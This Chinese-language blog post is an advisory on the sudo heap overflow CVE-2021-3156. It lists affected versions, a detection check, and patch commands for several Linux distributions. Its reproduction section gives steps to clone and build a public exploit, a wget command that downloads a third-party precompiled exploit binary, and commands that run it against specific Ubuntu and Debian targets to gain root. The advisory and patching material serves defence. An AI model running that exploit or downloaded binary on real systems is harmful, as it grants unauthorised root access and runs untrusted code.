Linux、MAC下sudo爆重大漏洞(CVE-2021-3156)附修复和复现方法,务必升级

国外研究团队披露出sudo堆溢出漏洞,漏洞编号:CVE-2021-3156。任何本地用户,无需身份验证(密码),也能获得root权限。这个漏洞一直存在于sudo1.9.01.9.5p1的所有稳定版本,和1.8.21.8.31p2的所有旧版本的默认配置中。

漏洞详情

Sudo是一个功能强大的实用程序,大多数基于Unix和Linux的操作系统都包含Sudo。 它允许用户使用其他用户的安全特权运行程序。 该漏洞已经隐藏了将近十年。 它于2011年7月引入(commit:8255ed69),从1.8.2到1.8.31p2的所有旧版本以及从1.9.0到1.9.5p1的所有稳定版本的默认配置均受影响。成功利用此漏洞,普通用户都可以在易受攻击的主机上获得 root 特权。安全研究人员已在Ubuntu 20.04(Sudo 1.8.31),Debian 10(Sudo 1.8.27)和Fedora 33(Sudo 1.9.2)上验证漏洞并开发多种漏洞利用获得了完整的 root 用户特权。其他操作系统和发行版也可能会被利用。

漏洞风险

攻击者可利用该漏洞提升权限,漏洞细节已公开

影响版本

Sudo 1.9.0 到 1.9.5p1 所有稳定版(默认配置)
Sudo 1.8.2 到 1.8.31p2 所有旧版本(默认配置)

安全版本

Sudo 1.9.5p2 或更新版本

检测方法

1、以非root账户登录系统运行如下命令:
sudoedit -s /
2、若受影响,错误信息会以如下内容开头:
sudoedit:
3、若已安装补丁,错误信息会以如下内容开头:
usage:

修复建议

Redhat、Ubuntu、Debian等发行版都已经紧急发布修复补丁

Redhat/CentOS 系统用户:
(1)安全版本
1. CentOS 6:升级到1.9.5p2或更高版本;
2. CentOS 7:升级到 sudo-1.8.23-10.el7_9.1或更高版本;
3. CentOS 8:升级到 sudo-1.8.29-6.el8_3.1或更高版本。
(2)修复命令

yum makecache yum install sudo -y 

(3)检测是否修复成功

rpm -qa sudo

Ubuntu系统用户:
(1)安全版本
1. Ubuntu 20.04 LTS版本用户,建议升级到如下版本:
sudo - 1.8.31-1ubuntu1.2
sudo-ldap – 1.8.31-1ubuntu1.2
2. Ubuntu 18.04 LTS版本用户,建议升级到如下版本:
sudo - 1.8.21p2-3ubuntu1.4
sudo-ldap – 1.8.21p2-3ubuntu1.4
3. Ubuntu 16.04 LTS版本用户,建议升级到如下版本:
sudo – 1.8.16-0ubuntu1.10
sudo-ldap - 1.8.16-0ubuntu1.10
(2)修复命令

sudo apt-get install sudo 

(3)检测是否修复成功

sudo dpkg -l sudo

Debian系统用户:
(1)安全版本
debian 9:1.8.19p1-2.1+deb9u3
debian 10:1.8.27-1+deb10u3
(2)修复命令

apt-get updateapt-get install sudo -y

(3)检测是否修复成功

dpkg -l sudo

漏洞复现

Github仓库地址:https://github.com/blasty/CVE-2021-3156

自己编译

git clone https://github.com/blasty/CVE-2021-3156.gitcd CVE-2021-3156/make

下载我编译好的

wget https://github.com/peng4740/CVE-2021-3156/releases/download/v1/sudo-hax-me-a-sandwichchmod +x sudo-hax-me-a-sandwich

使用方法:

usage: ./sudo-hax-me-a-sandwich target

available targets:
————————————————————
0) Ubuntu 18.04.5 (Bionic Beaver) – sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) – sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) – sudo 1.8.27, libc-2.28
————————————————————

也就是根据sudo版本不同执行下面的命令:
./sudo-hax-me-a-sandwich 0
./sudo-hax-me-a-sandwich 1
./sudo-hax-me-a-sandwich 2

查看版本的方法:
dpkg -l sudorpm -qa sudo(debian和centos)

参考文章

https://cloud.tencent.com/announce/detail/1501

https://www.sudo.ws/alerts/unescape_overflow.html

广告栏+++++++蜜糖商店|大哥云| 搬瓦工JMS|红莓网络| Mielink|萌喵加速| 飞鸟云

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注